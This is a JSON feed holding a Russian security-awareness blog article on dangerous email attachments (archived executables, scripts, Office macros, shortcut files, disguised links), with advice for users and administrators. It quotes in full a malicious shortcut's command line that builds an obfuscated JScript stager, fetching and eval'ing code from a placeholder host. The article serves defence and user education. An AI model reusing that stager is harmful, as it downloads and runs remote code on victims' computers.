{
    "version": "https:\/\/jsonfeed.org\/version\/1",
    "title": "Блог Start X: заметки с тегом вложения",
    "_rss_description": "как поведение людей влияет на безопасность Наши продукты • Дайджесты • Статьи • Список постов",
    "_rss_language": "ru",
    "_itunes_email": "",
    "_itunes_categories_xml": "",
    "_itunes_image": "",
    "_itunes_explicit": "",
    "home_page_url": "https:\/\/blog.startx.team\/tags\/vlozheniya\/",
    "feed_url": "https:\/\/blog.startx.team\/tags\/vlozheniya\/json\/",
    "icon": "https:\/\/blog.startx.team\/user\/userpic@2x.jpg?1687861408",
    "author": {
        "name": "Start X",
        "url": "https:\/\/blog.startx.team\/",
        "avatar": "https:\/\/blog.startx.team\/user\/userpic@2x.jpg?1687861408"
    },
    "items": [
        {
            "id": "3",
            "url": "https:\/\/blog.startx.team\/all\/malware-attached\/",
            "title": "Опасные вложения",
            "content_html": "<p main>\r\n<i>Опытные пользователи знают, что через почту им могут прислать вирус или троянскую программу. Мошенники, в свою очередь, стараются сделать так, чтобы вредоносные вложения выглядели как можно более безобидно.<\/i>\r\n<br><br>\r\nВ статье мы покажем примеры опасных вложений и объясним, на что стоит обращать внимание, чтобы не стать жертвой. Статья будет полезна пользователям и системным администраторам. <\/p>\n<p aside style=\"opacity: 1; text-align: center;\">\r\n<img src=\"\/pictures\/svoldokhin_new.jpg\" width=\"40%\"\/> <br \/>\r\nСергей Волдохин <br \/>\r\n<a href=\"mailto:sv@antiphish.ru\">sv@antiphish.ru<\/a>\r\n<\/p>\n<h2>«Традиционный» вредоносный файл<\/h2>\n<p>Вирус или троянскую программу пользователи обычно представляют как исполняемый файл с расширением .ехе под Виндовс или .dmg под Мак.<\/p>\n<p>Такая вредоносная программа, приложенная к письму, может не определяться антивирусом, но почти все почтовые серверы умеют фильтровать подобные вложения: письмо с .ехе-файлом просто не будет отправлено. Чтобы обойти это ограничение, мошенникам бывает достаточно упаковать исполняемый файл в архив:<br \/><br \/>\n<img src=\"\/pictures\/wurde.JPG\" \/><br \/><br \/>\n<img src=\"\/pictures\/jack-exe.PNG\" \/><br \/><\/p>\n<p><b>Что делать пользователю:<\/b> получив любое вложение в архиве, распакуйте его в отдельную папку и проверьте тип вложенного файла. Не открывайте файлы типа <i>Приложение<\/i>, даже если ваш антивирус не против.<\/p>\n<p><b>Администратору.<\/b> Постарайтесь ограничить прием почты с исполняемыми файлами, даже если они упакованы в архив. При настройке ограничений стоит ориентироваться на <a href=\"https:\/\/en.wikipedia.org\/wiki\/Portable_Executable\">формат файла<\/a>, а не его расширение.<\/p>\n<h2>Вредоносный скрипт<\/h2>\n<p>Кроме традиционных программ, операционная система Виндоус умеет выполнять так называемые скрипты — программы, написанные на специальном языке программирования, например JScript или WBScript.<\/p>\n<p>У таких языков есть ряд ограничений, но написанная на них вредоносная программа вполне способна зашифровать все файлы на диске или скачать полноценного троянца.<\/p>\n<p>О существовании скриптов знает еще меньше пользователей, а мошенники стараются скрыть настоящий тип файла: например, через длинное или вызывающее доверие название:<br \/>\n<img src=\"\/pictures\/meeting-wsf.PNG\" \/><br \/><br \/>\n<img src=\"\/pictures\/scan-js.PNG\" \/><br \/><br \/>\n<img src=\"\/pictures\/sct.PNG\" \/><br \/>\n<i><a href=\"https:\/\/twitter.com\/subtee\/status\/771356649449586690\">Источник<\/a><\/i><\/p>\n<p><b>Пользователю:<\/b> Не открывайте файл, тип которого содержит слова «скрипт», «сценарий» или что-то непонятное. И даже если ваш антивирус не имеет ничего против.<\/p>\n<p><b>Администратору:<\/b> постарайтесь заблокировать исполнение скриптов, или хотя бы переопределить их обработчики. Файл .js, для которого обработчиком назначен notepad.exe — неплохая помощь антивирусу и защита для невнимательных пользователей.<\/p>\n<h2>Офисный документ<\/h2>\n<p>Пользователям бывает сложно поверить, но файлы Ворд или Эксель тоже могут быть вредоносными. Наиболее популярная схема — вредоносная программа запускается через макрос, который пользователю предлагается разрешить к выполнению под разумным предлогом. Например, если содержимое документа некорректно отображается:<\/p>\n<p><img src=\"\/pictures\/locky-macros-6401.png\" \/><br \/>\n<i><a href=\"https:\/\/www.anti-malware.ru\/news\/2016-02-25\/18144\">Источник<\/a><\/i><\/p>\n<p><b>Пользователю:<\/b> не разрешайте выполнение макросов в документах, которые вам присылают по электронной почте. Особенно если не знаете отправителя и не уверены в содержании макроса.<\/p>\n<p><b>Администратору:<\/b> по возможности отключите исполнение макросов на компьютерах пользователей. Те, кому это действительно необходимо для работы, дадут вам знать.  Вовремя обновляйте все офисные программы — кроме макросов, вредоносная программа может выполниться через эксплойт к одной из многих <a href=\"https:\/\/www.cvedetails.com\/vulnerability-list\/vendor_id-26\/product_id-320\/Microsoft-Office.html\">публичных RCE-уязвимостей<\/a>.<\/p>\n<h2>Опасный ярлык<\/h2>\n<p>Иногда во вложении вовсе может не быть вредоносной программы. Вместо нее мошенники присылают ярлык, перейдя по которому пользователь сам загрузит и запустит вредоносную программу:<\/p>\n<p><img src=\"\/pictures\/schet.PNG\" \/><br \/><br \/>\n<img src=\"\/pictures\/attached.PNG\" width=\"100%\" \/><br \/><br \/>\n<img src=\"\/pictures\/link-properties.PNG\" \/><br \/><\/p>\n<p>В свойствах этого ярлыка прописана команда, которая загрузит и запустит вредоносный .js-скрипт из интернета. Все, что нужно для загрузки и запуска, уже содержится в операционной системе.<\/p>\n<p><b>Пользователю:<\/b> ярлыки, которым вы можете доверять, находятся на вашем рабочем столе. Не стоит запускать файл с типом <i>Ярлык<\/i>, который вам прислали по электронной почте. Даже если его название вызывает доверие.<\/p>\n<p><b>Администратору:<\/b> постарайтесь заблокировать исполнение любого командного интрпретатора под учетной записью пользователя. По возможности переопределите его имя и путь — вредоносным программам будет сложнее сориентироваться. Обратите внимание на полное содержимое вредоносного ярлыка:<\/p>\n<pre class=\"e2-text-code\"><code class=\"\">%windir%\\system32\\cmd.exe \/c REM.&gt;3.txt&amp;echo var ty= new ActiveXObject(&quot;Msxml2.ServerXMLHTTP.6.0&quot;);ty[&quot;\\x6F\\x70\\x65\\x6E&quot;](&quot;\\x47\\x45\\x54&quot;,&quot;http:\/\/&lt;url&gt;.com\/src\/gate.php?a&quot;);ty[&quot;\\x73\\x65\\x6E\\x64&quot;]();eval(ty[&quot;responseText&quot;]);&gt;3.txt&amp;ren 3.txt 3.js&amp;3.js<\/code><\/pre><h2>Вредоносная ссылка<\/h2>\n<p>Иногда мошенники не рискуют высылать вложенный файл, а вместо этого добавляют в письмо вредоносную ссылку. Благодаря оформлению, такая ссылка выглядит похожей на «безопасный» вложенный файл:<\/p>\n<p><img alt=\"\" src=\"\/pictures\/zakaz.PNG\" style=\"border: 1px solid gray;\" \/><\/p>\n<p><img alt=\"\" src=\"\/pictures\/url.png\" \/><\/p>\n<p>Обе ссылки около «заявки» ведут на вредоносный файл.<\/p>\n<p><b>Пользователю:<\/b> умейте отличать вложенный файл от ссылки, которая ведет на внешний сайт. Наведите курсор и посмотрите, куда на самом деле ведет «ссылка на документ».<\/p>\n<p><b>Администратору:<\/b> постарайтесь ограничить загрузку исполняемых файлов на прокси-сервере. Аналогично вложениям, ориентируйтесь на тип файла, а не расширение.<\/p>\n<h2>Выводы<\/h2>\n<ol start=\"1\">\n<li>Мошенники используют самые разные форматы вредоносных вложений.<\/li>\n<li>Не открывайте никакие вложения и не переходите по ссылкам, в которых не уверены.<\/li>\n<li>По возможности ограничьте запуск скриптов, командных интерпретаторов и загрузку небезопасных типов файлов.<\/li>\n<li>Обучайте своих пользователей основам информационной безопасности. Для начала можно переслать ссылку на эту статью.<\/li>\n<li>Тренируйте и контролируйте практические навыки противодействия фишингу.<\/li>\n<\/ol>\n<div style=\"padding: 1em; background-color: cornsilk; width: 80%; margin-bottom: 1em;\"><p><b>О компании «Антифишинг»<\/b><\/p>\n<p>Мы помогаем обучить сотрудников и контролируем их навыки с помощью учебных фишинговых атак. Используем реалистичные сценарии и актуальные примеры мошеннических писем — в том числе те, которые описаны в статье.<\/p>\n<p>Чтобы проверить своих пользователей, отправьте запрос через <a href=\"http:\/\/www.antiphish.ru\">наш сайт<\/a> или напишите нам: <a href=\"mailto:ask@antiphish.ru\">ask@antiphish.ru<\/a><\/p>\n<\/div>",
            "date_published": "2016-09-12T01:57:03+03:00",
            "date_modified": "2020-10-26T17:01:29+03:00",
            "_date_published_rfc2822": "Mon, 12 Sep 2016 01:57:03 +0300",
            "_rss_guid_is_permalink": "false",
            "_rss_guid": "3",
            "_e2_data": {
                "is_favourite": false,
                "links_required": [
                    "system\/library\/highlight\/highlight.js",
                    "system\/library\/highlight\/highlight.css"
                ],
                "og_images": []
            }
        }
    ],
    "_e2_version": 3820,
    "_e2_ua_string": "E2 (v3820; Aegea)"
}